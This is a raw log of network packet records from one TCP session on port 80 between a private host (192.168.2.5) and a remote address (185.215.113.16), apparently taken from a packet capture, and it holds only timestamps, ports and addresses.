Dec 10, 2024 05:10:21.525121927 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.525988102 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.526036978 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.526225090 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.526273012 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.527127981 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.527170897 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.527359009 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.527400017 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.528157949 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.528201103 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.528373003 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.528410912 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.529181957 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.529222965 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.529400110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.529443026 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.530211926 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.530261040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.530438900 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.530479908 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.531224966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.531270027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.531446934 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.531490088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.532077074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.532123089 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.532169104 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.532210112 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.533113003 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.533165932 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.533207893 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.533248901 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.534156084 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.534204960 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.534245014 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.534285069 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.535216093 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.535293102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.535326958 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.535365105 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.536261082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.536309004 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.536356926 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.536400080 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.537318945 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.537380934 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.537394047 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.537436008 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.538347006 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.538392067 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.538450956 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.538496971 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.539406061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.539453983 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.539499044 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.539544106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.540719032 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.540730953 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.540775061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.541795969 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.541862011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.541979074 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.542023897 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.542958975 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.543020964 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.543116093 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.543155909 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.543616056 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.543665886 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.543842077 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.543884039 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.544667959 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.544714928 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.544804096 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.544842005 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.545766115 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.545831919 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.545965910 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.546004057 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.546766996 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.546813011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.546821117 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.546853065 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.547825098 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.547875881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.547977924 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.548021078 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.548845053 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.548898935 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.548964024 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.549005985 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.549909115 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.549961090 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.549997091 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.550039053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.550955057 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.551004887 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.551038980 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.551080942 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.552007914 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.552054882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.552119017 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.552170992 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.553196907 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.553260088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.553267002 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.553309917 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.554085970 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.554136992 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.554183960 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.554229975 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.555152893 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.555203915 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.555264950 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.555325985 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.556194067 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.556241035 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.556309938 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.556349039 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.557264090 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.557315111 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.557339907 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.557379007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.558336020 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.558376074 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.558407068 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.558444023 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.559356928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.559400082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.559439898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.559482098 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.560415030 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.560457945 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.560551882 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.560594082 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.561464071 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.561507940 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.561541080 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.561583996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.562468052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.562510014 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.562545061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.562587976 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.700401068 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.700423956 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.700486898 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.700767040 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.700824022 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.700892925 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.700937033 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.701843023 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.701885939 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.701925039 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.701967955 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.702856064 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.702902079 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.702961922 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.703003883 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.703907013 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.703979969 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.704010963 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.704056978 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.704966068 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.705013037 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.705106974 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.705149889 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.706033945 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.706082106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.706154108 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.706196070 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.707062960 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.707122087 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.707158089 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.707200050 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.708107948 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.708149910 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.708229065 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.708268881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.709175110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.709217072 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.709249973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.709290028 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.710211039 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.710251093 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.710334063 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.710372925 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.711260080 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.711301088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.711379051 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.711419106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.712336063 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.712377071 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.712414026 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.712454081 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.713381052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.713421106 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.713481903 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.713521004 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.714413881 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.714482069 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.714519024 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.714559078 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.715466022 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.715507030 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.715586901 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.715629101 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.716535091 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.716577053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.716660976 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.716701031 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.717567921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.717608929 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.717652082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.717695951 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.718631029 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.718672037 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.718736887 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.718777895 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.719674110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.719716072 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.719774961 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.719815969 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.720733881 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.720774889 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.720807076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.720849037 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.721762896 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.721805096 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.721865892 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.721905947 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.722810030 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.722862005 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.722899914 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.722953081 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.723867893 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.723908901 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.723969936 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.724009991 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.724916935 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.724982023 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.725018978 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.725060940 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.725977898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.726018906 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.726094007 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.726134062 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.726995945 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.727037907 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.727117062 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.727157116 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.728076935 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.728116989 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.728188038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.728228092 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.729134083 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.729175091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.729260921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.729300976 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.730154991 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.730195999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.730273008 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.730312109 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.731215954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.731261015 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.731328964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.731369972 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.732274055 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.732316017 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.732362986 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.732403040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.733350039 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.733397007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.733423948 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.733465910 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.734379053 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.734420061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.734494925 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.734534979 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.735449076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.735512018 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.735548019 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.735586882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.736466885 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.736507893 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.736592054 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.736629963 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.737519026 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.737559080 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.737705946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.737751007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.738560915 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.738600969 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.738677025 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.738718033 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.739634037 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.739674091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.739711046 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.739753008 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.740726948 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.740772009 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.740942955 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.740983963 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.741863966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.741903067 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.742105961 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.742149115 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.742847919 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.742888927 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.743057966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.743100882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.743946075 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.743984938 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.744051933 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.744097948 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.744862080 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.744909048 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.744972944 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.745011091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.745940924 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.746007919 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.746041059 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.746085882 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.746948004 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.746990919 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.747078896 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.747121096 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.748008966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.748050928 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.748116970 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.748157024 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.749052048 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.749092102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.749170065 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.749212027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.750132084 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.750171900 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.750237942 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.750277996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.751174927 CET	80	49855	185.215.113.16	192.168.2.5
